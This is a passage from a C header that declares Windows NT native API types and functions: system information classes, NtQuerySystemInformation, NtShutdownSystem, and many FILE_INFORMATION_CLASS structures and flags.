AtomicSwap;\n    };\n} SYSTEM_HOTPATCH_CODE_INFORMATION, *PSYSTEM_HOTPATCH_CODE_INFORMATION;\n\n//\n// Class 75\n//\nstruct _SYSTEM_FIRMWARE_TABLE_INFORMATION;\ntypedef NTSTATUS (__cdecl *PFNFTH)(\n    IN struct _SYSTEM_FIRMWARE_TABLE_INFORMATION *FirmwareTableInformation\n    );\n\ntypedef enum _SYSTEM_FIRMWARE_TABLE_ACTION\n{\n    SystemFirmwareTable_Enumerate = 0,\n    SystemFirmwareTable_Get = 1,\n} SYSTEM_FIRMWARE_TABLE_ACTION, *PSYSTEM_FIRMWARE_TABLE_ACTION;\n\ntypedef struct _SYSTEM_FIRMWARE_TABLE_HANDLER\n{\n    ULONG ProviderSignature;\n    BOOLEAN Register;\n    PFNFTH FirmwareTableHandler;\n    PVOID DriverObject;\n} SYSTEM_FIRMWARE_TABLE_HANDLER, *PSYSTEM_FIRMWARE_TABLE_HANDLER;\n\n//\n// Class 76\n//\ntypedef struct _SYSTEM_FIRMWARE_TABLE_INFORMATION\n{\n    ULONG ProviderSignature;\n    SYSTEM_FIRMWARE_TABLE_ACTION Action;\n    ULONG TableID;\n    ULONG TableBufferLength;\n    UCHAR TableBuffer[1];\n} SYSTEM_FIRMWARE_TABLE_INFORMATION, *PSYSTEM_FIRMWARE_TABLE_INFORMATION;\n\n//\n// Class 81\n//\ntypedef struct _SYSTEM_MEMORY_LIST_INFORMATION\n{\n   SIZE_T ZeroPageCount;\n   SIZE_T FreePageCount;\n   SIZE_T ModifiedPageCount;\n   SIZE_T ModifiedNoWritePageCount;\n   SIZE_T BadPageCount;\n   SIZE_T PageCountByPriority[8];\n   SIZE_T RepurposedPagesByPriority[8];\n} SYSTEM_MEMORY_LIST_INFORMATION, *PSYSTEM_MEMORY_LIST_INFORMATION;\n\n//\n// Class 88\n//\ntypedef struct _SYSTEM_PROCESS_ID_INFORMATION\n{\n    HANDLE UniqueProcessId;                         // On input, set this to Process ID\n    UNICODE_STRING ImageName;                       // On input, initialize to an allocated buffer\n} SYSTEM_PROCESS_ID_INFORMATION, *PSYSTEM_PROCESS_ID_INFORMATION;\n\n//\n// Class 90\n//\ntypedef struct _SYSTEM_BOOT_ENVIRONMENT_INFORMATION\n{\n    GUID  CurrentBootGuid;\n    ULONG Unknown;\n} SYSTEM_BOOT_ENVIRONMENT_INFORMATION, *PSYSTEM_BOOT_ENVIRONMENT_INFORMATION;\n\n\ntypedef NTSTATUS (NTAPI * NTQUERYSYSTEMINFORMATION)(\n    SYSTEM_INFORMATION_CLASS SystemInformationClass,\n    PVOID SystemInformation,\n    ULONG SystemInformationLength,\n    PULONG ReturnLength\n    );\n\ntypedef NTSTATUS (NTAPI * RTLGETNATIVESYSTEMINFORMATION)(\n    IN SYSTEM_INFORMATION_CLASS SystemInformationClass,\n    OUT PVOID SystemInformation,\n    IN ULONG SystemInformationLength,\n    OUT PULONG ReturnLength\n    );\n\ntypedef BOOLEAN (NTAPI * RTLGETPRODUCTINFO)(\n    IN  ULONG OSMajorVersion,\n    IN  ULONG OSMinorVersion,\n    IN  ULONG SpMajorVersion,\n    IN  ULONG SpMinorVersion,\n    OUT PULONG ReturnedProductType\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtQuerySystemInformation(\n    IN SYSTEM_INFORMATION_CLASS SystemInformationClass,\n    OUT PVOID SystemInformation,\n    IN ULONG SystemInformationLength,\n    OUT PULONG ReturnLength\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwQuerySystemInformation(\n    IN SYSTEM_INFORMATION_CLASS SystemInformationClass,\n    OUT PVOID SystemInformation,\n    IN ULONG SystemInformationLength,\n    OUT PULONG ReturnLength\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtSetSystemInformation(\n    IN SYSTEM_INFORMATION_CLASS SystemInformationClass,\n    IN PVOID SystemInformation,\n    IN ULONG SystemInformationLength\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwSetSystemInformation(\n    IN SYSTEM_INFORMATION_CLASS SystemInformationClass,\n    IN PVOID SystemInformation,\n    IN ULONG SystemInformationLength\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlGetNativeSystemInformation(\n    IN SYSTEM_INFORMATION_CLASS SystemInformationClass,\n    OUT PVOID SystemInformation,\n    IN ULONG SystemInformationLength,\n    OUT PULONG ReturnLength\n    );\n\n//------------------------------------------------------------------------------\n// Shutdown system\n\ntypedef enum _SHUTDOWN_ACTION\n{\n    ShutdownNoReboot,\n    ShutdownReboot,\n    ShutdownPowerOff\n\n} SHUTDOWN_ACTION, *PSHUTDOWN_ACTION;\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtShutdownSystem(\n    IN SHUTDOWN_ACTION Action\n    );\n\n//-----------------------------------------------------------------------------\n// File functions\n\n#ifndef OLD_DOS_VOLID\n#define OLD_DOS_VOLID   0x00000008\n#endif\n\n#ifndef FILE_SUPERSEDE\n#define FILE_SUPERSEDE                  0x00000000\n#define FILE_OPEN                       0x00000001\n#define FILE_CREATE                     0x00000002\n#define FILE_OPEN_IF                    0x00000003\n#define FILE_OVERWRITE                  0x00000004\n#define FILE_OVERWRITE_IF               0x00000005\n#define FILE_MAXIMUM_DISPOSITION        0x00000005\n#endif  // File create flags\n\n\n// Define the create/open option flags\n#ifndef FILE_DIRECTORY_FILE\n#define FILE_DIRECTORY_FILE                     0x00000001\n#define FILE_WRITE_THROUGH                      0x00000002\n#define FILE_SEQUENTIAL_ONLY                    0x00000004\n#define FILE_NO_INTERMEDIATE_BUFFERING          0x00000008\n#define FILE_SYNCHRONOUS_IO_ALERT               0x00000010\n#define FILE_SYNCHRONOUS_IO_NONALERT            0x00000020\n#define FILE_NON_DIRECTORY_FILE                 0x00000040\n#define FILE_CREATE_TREE_CONNECTION             0x00000080\n#define FILE_COMPLETE_IF_OPLOCKED               0x00000100\n#define FILE_NO_EA_KNOWLEDGE                    0x00000200\n#define FILE_OPEN_FOR_RECOVERY                  0x00000400\n#define FILE_RANDOM_ACCESS                      0x00000800\n#define FILE_DELETE_ON_CLOSE                    0x00001000\n#define FILE_OPEN_BY_FILE_ID                    0x00002000\n#define FILE_OPEN_FOR_BACKUP_INTENT             0x00004000\n#define FILE_NO_COMPRESSION                     0x00008000\n#define FILE_OPEN_REQUIRING_OPLOCK              0x00010000\n#define FILE_DISALLOW_EXCLUSIVE                 0x00020000\n#define FILE_RESERVE_OPFILTER                   0x00100000\n#define FILE_OPEN_REPARSE_POINT                 0x00200000\n#define FILE_OPEN_NO_RECALL                     0x00400000\n#define FILE_OPEN_FOR_FREE_SPACE_QUERY          0x00800000\n#endif // FILE_DIRECTORY_FILE\n\n\n//\n// Define the I/O status information return values for NtCreateFile/NtOpenFile\n//\n\n#ifndef FILE_SUPERSEDED\n#define FILE_SUPERSEDED                 0x00000000\n#define FILE_OPENED                     0x00000001\n#define FILE_CREATED                    0x00000002\n#define FILE_OVERWRITTEN                0x00000003\n#define FILE_EXISTS                     0x00000004\n#define FILE_DOES_NOT_EXIST             0x00000005\n#endif\n\n#ifndef FILE_REMOVABLE_MEDIA\n#define FILE_REMOVABLE_MEDIA                    0x00000001\n#define FILE_READ_ONLY_DEVICE                   0x00000002\n#define FILE_FLOPPY_DISKETTE                    0x00000004\n#define FILE_WRITE_ONCE_MEDIA                   0x00000008\n#define FILE_REMOTE_DEVICE                      0x00000010\n#define FILE_DEVICE_IS_MOUNTED                  0x00000020\n#define FILE_VIRTUAL_VOLUME                     0x00000040\n#define FILE_AUTOGENERATED_DEVICE_NAME          0x00000080\n#define FILE_DEVICE_SECURE_OPEN                 0x00000100\n#define FILE_CHARACTERISTIC_PNP_DEVICE          0x00000800\n#define FILE_CHARACTERISTIC_TS_DEVICE           0x00001000\n#define FILE_CHARACTERISTIC_WEBDAV_DEVICE       0x00002000\n#endif\n\n#ifndef PIO_APC_ROUTINE_DEFINED\ntypedef\nVOID\n(NTAPI *PIO_APC_ROUTINE) (\n    IN PVOID ApcContext,\n    IN PIO_STATUS_BLOCK IoStatusBlock,\n    IN ULONG Reserved\n    );\n#define PIO_APC_ROUTINE_DEFINED\n#endif  // PIO_APC_ROUTINE_DEFINED\n\n\ntypedef enum _FILE_INFORMATION_CLASS\n{\n    FileDirectoryInformation                 = 1,\n    FileFullDirectoryInformation,            // 2\n    FileBothDirectoryInformation,            // 3\n    FileBasicInformation,                    // 4\n    FileStandardInformation,                 // 5\n    FileInternalInformation,                 // 6\n    FileEaInformation,                       // 7\n    FileAccessInformation,                   // 8\n    FileNameInformation,                     // 9\n    FileRenameInformation,                   // 10\n    FileLinkInformation,                     // 11\n    FileNamesInformation,                    // 12\n    FileDispositionInformation,              // 13\n    FilePositionInformation,                 // 14\n    FileFullEaInformation,                   // 15\n    FileModeInformation,                     // 16\n    FileAlignmentInformation,                // 17\n    FileAllInformation,                      // 18\n    FileAllocationInformation,               // 19\n    FileEndOfFileInformation,                // 20\n    FileAlternateNameInformation,            // 21\n    FileStreamInformation,                   // 22\n    FilePipeInformation,                     // 23\n    FilePipeLocalInformation,                // 24\n    FilePipeRemoteInformation,               // 25\n    FileMailslotQueryInformation,            // 26\n    FileMailslotSetInformation,              // 27\n    FileCompressionInformation,              // 28\n    FileObjectIdInformation,                 // 29\n    FileCompletionInformation,               // 30\n    FileMoveClusterInformation,              // 31\n    FileQuotaInformation,                    // 32\n    FileReparsePointInformation,             // 33\n    FileNetworkOpenInformation,              // 34\n    FileAttributeTagInformation,             // 35\n    FileTrackingInformation,                 // 36\n    FileIdBothDirectoryInformation,          // 37\n    FileIdFullDirectoryInformation,          // 38\n    FileValidDataLengthInformation,          // 39\n    FileShortNameInformation,                // 40\n    FileIoCompletionNotificationInformation, // 41\n    FileIoStatusBlockRangeInformation,       // 42\n    FileIoPriorityHintInformation,           // 43\n    FileSfioReserveInformation,              // 44\n    FileSfioVolumeInformation,               // 45\n    FileHardLinkInformation,                 // 46\n    FileProcessIdsUsingFileInformation,      // 47\n    FileNormalizedNameInformation,           // 48\n    FileNetworkPhysicalNameInformation,      // 49\n\n    // Windows 7+\n    FileIdGlobalTxDirectoryInformation,      // 50\n    FileIsRemoteDeviceInformation,           // 51\n    FileAttributeCacheInformation,           // 52\n    FileNumaNodeInformation,                 // 53\n    FileStandardLinkInformation,             // 54\n    FileRemoteProtocolInformation,           // 55\n\n    // Windows 8+\n    FileRenameInformationBypassAccessCheck,  // 56 (kernel-mode only)\n    FileLinkInformationBypassAccessCheck,    // 57 (kernel-mode only)\n    FileVolumeNameInformation,               // 58\n    FileIdInformation,                       // 59\n    FileIdExtdDirectoryInformation,          // 60\n\n    // WinBlue+\n    FileReplaceCompletionInformation,        // 61\n    FileHardLinkFullIdInformation,           // 62\n\n    // Windows 10 THRESHOLD+\n    FileIdExtdBothDirectoryInformation,      // 63\n    FileDispositionInformationEx,            // 64\n    FileRenameInformationEx,                 // 65\n    FileRenameInformationExBypassAccessCheck,// 66 (kernel-mode only)\n\n    // Windows 10 REDSTONE+\n    FileDesiredStorageClassInformation,      // 67\n    FileStatInformation,                     // 68\n    FileMemoryPartitionInformation,          // 69\n\n    // Windows 10 April 2018 Update+\n    FileStatLxInformation,                   // 70\n    FileCaseSensitiveInformation,            // 71\n\n    // Windows 10 Fall 2018 Update+\n    FileLinkInformationEx,                          // 72\n    FileLinkInformationExBypassAccessCheck,         // 73\n    FileStorageReserveIdInformation,                // 74\n    FileCaseSensitiveInformationForceAccessCheck,   // 75\n\n    FileMaximumInformation\n} FILE_INFORMATION_CLASS, *PFILE_INFORMATION_CLASS;\n\n\ntypedef struct _FILE_DIRECTORY_INFORMATION {\n    ULONG NextEntryOffset;\n    ULONG FileIndex;\n    LARGE_INTEGER CreationTime;\n    LARGE_INTEGER LastAccessTime;\n    LARGE_INTEGER LastWriteTime;\n    LARGE_INTEGER ChangeTime;\n    LARGE_INTEGER EndOfFile;\n    LARGE_INTEGER AllocationSize;\n    ULONG FileAttributes;\n    ULONG FileNameLength;\n    WCHAR FileName[1];\n} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION;\n\n\ntypedef struct _FILE_FULL_DIR_INFORMATION {\n    ULONG NextEntryOffset;\n    ULONG FileIndex;\n    LARGE_INTEGER CreationTime;\n    LARGE_INTEGER LastAccessTime;\n    LARGE_INTEGER LastWriteTime;\n    LARGE_INTEGER ChangeTime;\n    LARGE_INTEGER EndOfFile;\n    LARGE_INTEGER AllocationSize;\n    ULONG FileAttributes;\n    ULONG FileNameLength;\n    ULONG EaSize;\n    WCHAR FileName[1];\n} FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION;\n\n\ntypedef struct _FILE_BOTH_DIR_INFORMATION {\n    ULONG NextEntryOffset;\n    ULONG FileIndex;\n    LARGE_INTEGER CreationTime;\n    LARGE_INTEGER LastAccessTime;\n    LARGE_INTEGER LastWriteTime;\n    LARGE_INTEGER ChangeTime;\n    LARGE_INTEGER EndOfFile;\n    LARGE_INTEGER AllocationSize;\n    ULONG FileAttributes;\n    ULONG FileNameLength;\n    ULONG EaSize;\n    CCHAR ShortNameLength;\n    WCHAR ShortName[12];\n    WCHAR FileName[1];\n} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;\n\n\ntypedef struct _FILE_BASIC_INFORMATION {\n    LARGE_INTEGER CreationTime;\n    LARGE_INTEGER LastAccessTime;\n    LARGE_INTEGER LastWriteTime;\n    LARGE_INTEGER ChangeTime;\n    ULONG FileAttributes;\n} FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION;\n\n\ntypedef struct _FILE_STANDARD_INFORMATION {\n    LARGE_INTEGER AllocationSize;\n    LARGE_INTEGER EndOfFile;\n    ULONG NumberOfLinks;\n    BOOLEAN DeletePending;\n    BOOLEAN Directory;\n} FILE_STANDARD_INFORMATION, *PFILE_STANDARD_INFORMATION;\n\n// Windows 10 THRESHOLD+\ntypedef struct _FILE_STANDARD_INFORMATION_EX {\n    LARGE_INTEGER AllocationSize;\n    LARGE_INTEGER EndOfFile;\n    ULONG NumberOfLinks;\n    BOOLEAN DeletePending;\n    BOOLEAN Directory;\n    BOOLEAN AlternateStream;\n    BOOLEAN MetadataAttribute;\n} FILE_STANDARD_INFORMATION_EX, *PFILE_STANDARD_INFORMATION_EX;\n\ntypedef struct _FILE_INTERNAL_INFORMATION {\n    LARGE_INTEGER IndexNumber;\n} FILE_INTERNAL_INFORMATION, *PFILE_INTERNAL_INFORMATION;\n\n\ntypedef struct _FILE_EA_INFORMATION {\n    ULONG EaSize;\n} FILE_EA_INFORMATION, *PFILE_EA_INFORMATION;\n\n\ntypedef struct _FILE_ACCESS_INFORMATION {\n    ACCESS_MASK AccessFlags;\n} FILE_ACCESS_INFORMATION, *PFILE_ACCESS_INFORMATION;\n\n\ntypedef struct _FILE_NAME_INFORMATION {\n    ULONG FileNameLength;\n    WCHAR FileName[1];\n} FILE_NAME_INFORMATION, *PFILE_NAME_INFORMATION;\n\n\ntypedef struct _FILE_RENAME_INFORMATION {\n    BOOLEAN ReplaceIfExists;\n    HANDLE RootDirectory;\n    ULONG FileNameLength;\n    WCHAR FileName[1];\n} FILE_RENAME_INFORMATION, *PFILE_RENAME_INFORMATION;\n\n#define FILE_RENAME_REPLACE_IF_EXISTS              0x00000001\n#define FILE_RENAME_POSIX_SEMANTICS                0x00000002\n\n// Renamed from original FILE_RENAME_INFORMATION in RS1+\ntypedef struct _FILE_RENAME_INFORMATION_EX {\n    ULONG Flags;\n    HANDLE RootDirectory;\n    ULONG FileNameLength;\n    WCHAR FileName[1];\n} FILE_RENAME_INFORMATION_EX, *PFILE_RENAME_INFORMATION_EX;\n\ntypedef struct _FILE_NAMES_INFORMATION {\n    ULONG NextEntryOffset;\n    ULONG FileIndex;\n    ULONG FileNameLength;\n    WCHAR FileName[1];\n} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION;\n\n\ntypedef struct _FILE_DISPOSITION_INFORMATION {\n    BOOLEAN DeleteFile;\n} FILE_DISPOSITION_INFORMATION, *PFILE_DISPOSITION_INFORMATION;\n\n\ntypedef struct _FILE_POSITION_INFORMATION {\n    LARGE_INTEGER CurrentByteOffset;\n} FILE_POSITION_INFORMATION, *PFILE_POSITION_INFORMATION;\n\n\ntypedef struct _FILE_FULL_EA_INFORMATION {\n    ULONG NextEntryOffset;\n    UCHAR Flags;\n    UCHAR EaNameLength;\n    USHORT EaValueLength;\n    CHAR EaName[1];\n} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;\n\n\ntypedef struct _FILE_MODE_INFORMATION {\n    ULONG Mode;\n} FILE_MODE_INFORMATION, *PFILE_MODE_INFORMATION;\n\n\ntypedef struct _FILE_ALIGNMENT_INFORMATION {\n    ULONG AlignmentRequirement;\n} FILE_ALIGNMENT_INFORMATION, *PFILE_ALIGNMENT_INFORMATION;\n\n\ntypedef struct _FILE_ALL_INFORMATION {\n    FILE_BASIC_INFORMATION BasicInformation;\n    FILE_STANDARD_INFORMATION StandardInformation;\n    FILE_INTERNAL_INFORMATION InternalInformation;\n    FILE_EA_INFORMATION EaInformation;\n    FILE_ACCESS_INFORMATION AccessInformation;\n    FILE_POSITION_INFORMATION PositionInformation;\n    FILE_MODE_INFORMATION ModeInformation;\n    FILE_ALIGNMENT_INFORMATION AlignmentInformation;\n    FILE_NAME_INFORMATION NameInformation;\n} FILE_ALL_INFORMATION, *PFILE_ALL_INFORMATION;\n\n\ntypedef struct _FILE_ALLOCATION_INFORMATION {\n    LARGE_INTEGER AllocationSize;\n} FILE_ALLOCATION_INFORMATION, *PFILE_ALLOCATION_INFORMATION;\n\n\ntypedef struct _FILE_END_OF_FILE_INFORMATION {\n    LARGE_INTEGER EndOfFile;\n} FILE_END_OF_FILE_INFORMATION, *PFILE_END_OF_FILE_INFORMATION;\n\n\ntypedef struct _FILE_STREAM_INFORMATION {\n    ULONG NextEntryOffset;\n    ULONG StreamNameLength;\n    LARGE_INTEGER StreamSize;\n    LARGE_INTEGER StreamAllocationSize;\n    WCHAR StreamName[1];\n} FILE_STREAM_INFORMATION, *PFILE_STREAM_INFORMATION;\n\ntypedef struct _FILE_PIPE_INFORMATION {\n     ULONG ReadMode;\n     ULONG CompletionMode;\n} FILE_PIPE_INFORMATION, *PFILE_PIPE_INFORMATION;\n\n\ntypedef struct _FILE_PIPE_LOCAL_INFORMATION {\n     ULONG NamedPipeType;\n     ULONG NamedPipeConfiguration;\n     ULONG MaximumInstances;\n     ULONG CurrentInstances;\n     ULONG InboundQuota;\n     ULONG ReadDataAvailable;\n     ULONG OutboundQuota;\n     ULONG WriteQuotaAvailable;\n     ULONG NamedPipeState;\n     ULONG NamedPipeEnd;\n} FILE_PIPE_LOCAL_INFORMATION, *PFILE_PIPE_LOCAL_INFORMATION;\n\n\ntypedef struct _FILE_PIPE_REMOTE_INFORMATION {\n     LARGE_INTEGER CollectDataTime;\n     ULONG MaximumCollectionCount;\n} FILE_PIPE_REMOTE_INFORMATION, *PFILE_PIPE_REMOTE_INFORMATION;\n\n\ntypedef struct _FILE_MAILSLOT_QUERY_INFORMATION {\n    ULONG MaximumMessageSize;\n    ULONG MailslotQuota;\n    ULONG NextMessageSize;\n    ULONG MessagesAvailable;\n    LARGE_INTEGER ReadTimeout;\n} FILE_MAILSLOT_QUERY_INFORMATION, *PFILE_MAILSLOT_QUERY_INFORMATION;\n\n\ntypedef struct _FILE_MAILSLOT_SET_INFORMATION {\n    PLARGE_INTEGER ReadTimeout;\n} FILE_MAILSLOT_SET_INFORMATION, *PFILE_MAILSLOT_SET_INFORMATION;\n\n\ntypedef struct _FILE_COMPRESSION_INFORMATION {\n    LARGE_INTEGER CompressedFileSize;\n    USHORT CompressionFormat;\n    UCHAR CompressionUnitShift;\n    UCHAR ChunkShift;\n    UCHAR ClusterShift;\n    UCHAR Reserved[3];\n} FILE_COMPRESSION_INFORMATION, *PFILE_COMPRESSION_INFORMATION;\n\n\ntypedef struct _FILE_LINK_INFORMATION {\n    BOOLEAN ReplaceIfExists;\n    HANDLE RootDirectory;\n    ULONG FileNameLength;\n    WCHAR FileName[1];\n} FILE_LINK_INFORMATION, *PFILE_LINK_INFORMATION;\n\n#define FILE_LINK_REPLACE_IF_EXISTS                     0x00000001      // If a file with the given name already exists, it should be replaced with the new link. Equivalent to the ReplaceIfExists field used with the FileLinkInformation information class.\n#define FILE_LINK_POSIX_SEMANTICS                       0x00000002      // If FILE_LINK_REPLACE_IF_EXISTS is also specified, allow replacing a file even if there are existing handles to it. Existing handles to the replaced file continue to be valid for operations such as read and write. Any subsequent opens of the target name will open the new link, not the replaced file.\n#define FILE_LINK_SUPPRESS_STORAGE_RESERVE_INHERITANCE  0x00000008      // When creating a link in a new directory, suppress any inheritance rules related to the storage reserve ID property of the file.\n#define FILE_LINK_NO_INCREASE_AVAILABLE_SPACE           0x00000010      // If FILE_LINK_SUPPRESS_STORAGE_RESERVE_INHERITANCE is not also specified, when creating a link in a new directory, automatically resize affected storage reserve areas to prevent the user visible free space on the volume from increasing. Requires manage volume access.\n#define FILE_LINK_NO_DECREASE_AVAILABLE_SPACE           0x00000020      // If FILE_LINK_SUPPRESS_STORAGE_RESERVE_INHERITANCE is not also specified, when creating a link in a new directory, automatically resize affected storage reserve areas to prevent the user visible free space on the volume from decreasing. Requires manage volume access.\n#define FILE_LINK_PRESERVE_AVAILABLE_SPACE              0x00000030      // Equivalent to specifying both FILE_LINK_NO_INCREASE_AVAILABLE_SPACE and FILE_LINK_NO_DECREASE_AVAILABLE_SPACE.\n#define FILE_LINK_IGNORE_READONLY_ATTRIBUTE             0x00000040\n\n// Renamed from original FILE_LINK_INFORMATION in RS5+\ntypedef struct _FILE_LINK_INFORMATION_EX {\n    ULONG Flags;              // FileLinkInformationEx\n    HANDLE RootDirectory;\n    ULONG FileNameLength;\n    WCHAR FileName[1];\n} FILE_LINK_INFORMATION_EX, *PFILE_LINK_INFORMATION_EX;\n\n\ntypedef struct _FILE_OBJECTID_INFORMATION\n{\n    LONGLONG FileReference;\n    UCHAR ObjectId[16];\n    union {\n        struct {\n            UCHAR BirthVolumeId[16];\n            UCHAR BirthObjectId[16];\n            UCHAR DomainId[16];\n        } ;\n        UCHAR ExtendedInfo[48];\n    };\n} FILE_OBJECTID_INFORMATION, *PFILE_OBJECTID_INFORMATION;\n\n\ntypedef struct _FILE_COMPLETION_INFORMATION {\n    HANDLE Port;\n    PVOID Key;\n} FILE_COMPLETION_INFORMATION, *PFILE_COMPLETION_INFORMATION;\n\n\ntypedef struct _FILE_MOVE_CLUSTER_INFORMATION {\n    ULONG ClusterCount;\n    HANDLE RootDirectory;\n    ULONG FileNameLength;\n    WCHAR FileName[1];\n} FILE_MOVE_CLUSTER_INFORMATION, *PFILE_MOVE_CLUSTER_INFORMATION;\n\n\ntypedef struct _FILE_NETWORK_OPEN_INFORMATION {\n    LARGE_INTEGER CreationTime;\n    LARGE_INTEGER LastAccessTime;\n    LARGE_INTEGER LastWriteTime;\n    LARGE_INTEGER ChangeTime;\n    LARGE_INTEGER AllocationSize;\n    LARGE_INTEGER EndOfFile;\n    ULONG FileAttributes;\n} FILE_NETWORK_OPEN_INFORMATION, *PFILE_NETWORK_OPEN_INFORMATION;\n\n\ntypedef struct _FILE_ATTRIBUTE_TAG_INFORMATION {\n    ULONG FileAttributes;\n    ULONG ReparseTag;\n} FILE_ATTRIBUTE_TAG_INFORMATION, *PFILE_ATTRIBUTE_TAG_INFORMATION;\n\n\ntypedef struct _FILE_TRACKING_INFORMATION {\n    HANDLE DestinationFile;\n    ULONG ObjectInformationLength;\n    CHAR ObjectInformation[1];\n} FILE_TRACKING_INFORMATION, *PFILE_TRACKING_INFORMATION;\n\n\ntypedef struct _FILE_REPARSE_POINT_INFORMATION {\n    LONGLONG FileReference;\n    ULONG Tag;\n} FILE_REPARSE_POINT_INFORMATION, *PFILE_REPARSE_POINT_INFORMATION;\n\n\ntypedef struct _FILE_QUOTA_INFORMATION {\n    ULONG NextEntryOffset;\n    ULONG SidLength;\n    LARGE_INTEGER ChangeTime;\n    LARGE_INTEGER QuotaUsed;\n    LARGE_INTEGER QuotaThreshold;\n    LARGE_INTEGER QuotaLimit;\n    SID Sid;\n} FILE_QUOTA_INFORMATION, *PFILE_QUOTA_INFORMATION;\n\n\ntypedef struct _FILE_ID_BOTH_DIR_INFORMATION {\n    ULONG NextEntryOffset;\n    ULONG FileIndex;\n    LARGE_INTEGER CreationTime;\n    LARGE_INTEGER LastAccessTime;\n    LARGE_INTEGER LastWriteTime;\n    LARGE_INTEGER ChangeTime;\n    LARGE_INTEGER EndOfFile;\n    LARGE_INTEGER AllocationSize;\n    ULONG FileAttributes;\n    ULONG FileNameLength;\n    ULONG EaSize;\n    CCHAR ShortNameLength;\n    WCHAR ShortName[12];\n    LARGE_INTEGER FileId;\n    WCHAR FileName[1];\n} FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION;\n\n\ntypedef struct _FILE_ID_FULL_DIR_INFORMATION {\n    ULONG NextEntryOffset;\n    ULONG FileIndex;\n    LARGE_INTEGER CreationTime;\n    LARGE_INTEGER LastAccessTime;\n    LARGE_INTEGER LastWriteTime;\n    LARGE_INTEGER ChangeTime;\n    LARGE_INTEGER EndOfFile;\n    LARGE_INTEGER AllocationSize;\n    ULONG FileAttributes;\n    ULONG FileNameLength;\n    ULONG EaSize;\n    LARGE_INTEGER FileId;\n    WCHAR FileName[1];\n} FILE_ID_FULL_DIR_INFORMATION, *PFILE_ID_FULL_DIR_INFORMATION;\n\n\ntypedef struct _FILE_VALID_DATA_LENGTH_INFORMATION {\n    LARGE_INTEGER ValidDataLength;\n} FILE_VALID_DATA_LENGTH_INFORMATION, *PFILE_VALID_DATA_LENGTH_INFORMATION;\n\n//\n// Don't queue an entry to an associated completion port if returning success\n// synchronously.\n//\n#define FILE_SKIP_COMPLETION_PORT_ON_SUCCESS    0x1\n\n//\n// Don't set the file handle event on IO completion.\n//\n#define FILE_SKIP_SET_EVENT_ON_HANDLE           0x2\n\n//\n// Don't set user supplied event on successful fast-path IO completion.\n//\n#define FILE_SKIP_SET_USER_EVENT_ON_FAST_IO     0x4\n\ntypedef  struct _FILE_IO_COMPLETION_NOTIFICATION_INFORMATION {\n    ULONG Flags;\n} FILE_IO_COMPLETION_NOTIFICATION_INFORMATION, *PFILE_IO_COMPLETION_NOTIFICATION_INFORMATION;\n\n\ntypedef  struct _FILE_PROCESS_IDS_USING_FILE_INFORMATION {\n    ULONG NumberOfProcessIdsInList;\n    ULONG_PTR ProcessIdList[1];\n} FILE_PROCESS_IDS_USING_FILE_INFORMATION, *PFILE_PROCESS_IDS_USING_FILE_INFORMATION;\n\n\ntypedef struct _FILE_IOSTATUSBLOCK_RANGE_INFORMATION {\n    PUCHAR       IoStatusBlockRange;\n    ULONG        Length;\n} FILE_IOSTATUSBLOCK_RANGE_INFORMATION, *PFILE_IOSTATUSBLOCK_RANGE_INFORMATION;\n\n\ntypedef enum _IO_PRIORITY_HINT {\n    IoPriorityVeryLow = 0,    // Winfs promotion, defragging, content indexing and other background I/Os\n    IoPriorityLow,            // Prefetching for applications.\n    IoPriorityNormal,         // Normal I/Os\n    IoPriorityHigh,           // Used by filesystems for checkpoint I/O\n    IoPriorityCritical,       // Used by memory manager. Not available for applications.\n    MaxIoPriorityTypes\n} IO_PRIORITY_HINT;\n\n\ntypedef struct _FILE_IO_PRIORITY_HINT_INFORMATION {\n    IO_PRIORITY_HINT   PriorityHint;\n} FILE_IO_PRIORITY_HINT_INFORMATION, *PFILE_IO_PRIORITY_HINT_INFORMATION;\n\n\n//\n// Support to reserve bandwidth for a file handle.\n//\n\ntypedef struct _FILE_SFIO_RESERVE_INFORMATION {\n    ULONG RequestsPerPeriod;\n    ULONG Period;\n    BOOLEAN RetryFailures;\n    BOOLEAN Discardable;\n    ULONG RequestSize;\n    ULONG NumOutstandingRequests;\n} FILE_SFIO_RESERVE_INFORMATION, *PFILE_SFIO_RESERVE_INFORMATION;\n\n//\n// Support to query bandwidth properties of a volume.\n//\n\ntypedef struct _FILE_SFIO_VOLUME_INFORMATION {\n    ULONG MaximumRequestsPerPeriod;\n    ULONG MinimumPeriod;\n    ULONG MinimumTransferSize;\n} FILE_SFIO_VOLUME_INFORMATION, *PFILE_SFIO_VOLUME_INFORMATION;\n\n\ntypedef struct _FILE_LINK_ENTRY_INFORMATION {\n    ULONG NextEntryOffset;\n    LONGLONG ParentFileId;\n    ULONG FileNameLength;\n    WCHAR FileName[1];\n} FILE_LINK_ENTRY_INFORMATION, *PFILE_LINK_ENTRY_INFORMATION;\n\n\ntypedef struct _FILE_LINKS_INFORMATION\n{\n    ULONG BytesNeeded;\n    ULONG EntriesReturned;\n    FILE_LINK_ENTRY_INFORMATION Entry;\n} FILE_LINKS_INFORMATION, *PFILE_LINKS_INFORMATION;\n\n#ifndef WINAPI_FAMILY_PC_APP    // In newer SDKs only\ntypedef struct _FILE_ID_128\n{\n    BYTE Identifier[16];\n} FILE_ID_128, *PFILE_ID_128;\n#endif\n\ntypedef struct _FILE_LINK_ENTRY_FULL_ID_INFORMATION\n{\n    ULONG NextEntryOffset;\n    FILE_ID_128 ParentFileId;\n    ULONG FileNameLength;\n    WCHAR FileName[1];\n} FILE_LINK_ENTRY_FULL_ID_INFORMATION, *PFILE_LINK_ENTRY_FULL_ID_INFORMATION;\n\ntypedef struct _FILE_ID_GLOBAL_TX_DIR_INFORMATION\n{\n  ULONG          NextEntryOffset;\n  ULONG          FileIndex;\n  LARGE_INTEGER  CreationTime;\n  